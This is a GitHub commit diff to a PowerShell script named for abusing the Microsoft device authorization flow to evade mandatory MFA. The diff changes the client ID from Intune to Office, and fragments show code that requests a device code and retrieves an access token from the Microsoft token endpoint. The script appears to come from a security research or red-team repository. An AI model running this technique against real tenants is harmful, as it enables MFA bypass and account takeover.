Skip to content

Commit 029452f

Browse files
authored
Update ClientID for device authorization script
1 parent eff8950 commit 029452f

File tree

1 file changed

+4
-2
lines changed

1 file changed

+4
-2
lines changed

generic/abuse_Device_Authorization_flow_to_evade_mandatory_MFA.ps1

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
1-
#1) generate a device code. The ClientID in the below command is for 'Microsoft Inture Company Portal':
2-
$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223"
1+
#1) generate a device code.
2+
#$ClientID = "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223" # Intune
3+
$ClientID = "d3590ed6-52b3-4102-aeff-aad2292ab01c" # Office
34
$Scope = ".default offline_access"
45
$body = @{
56
"client_id" = $ClientID
@@ -35,3 +36,4 @@ $body=@{
3536
$Token_output = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body
3637
$token = $Token_output.access_token
3738
$token
39+

0 commit comments

Comments
 (0)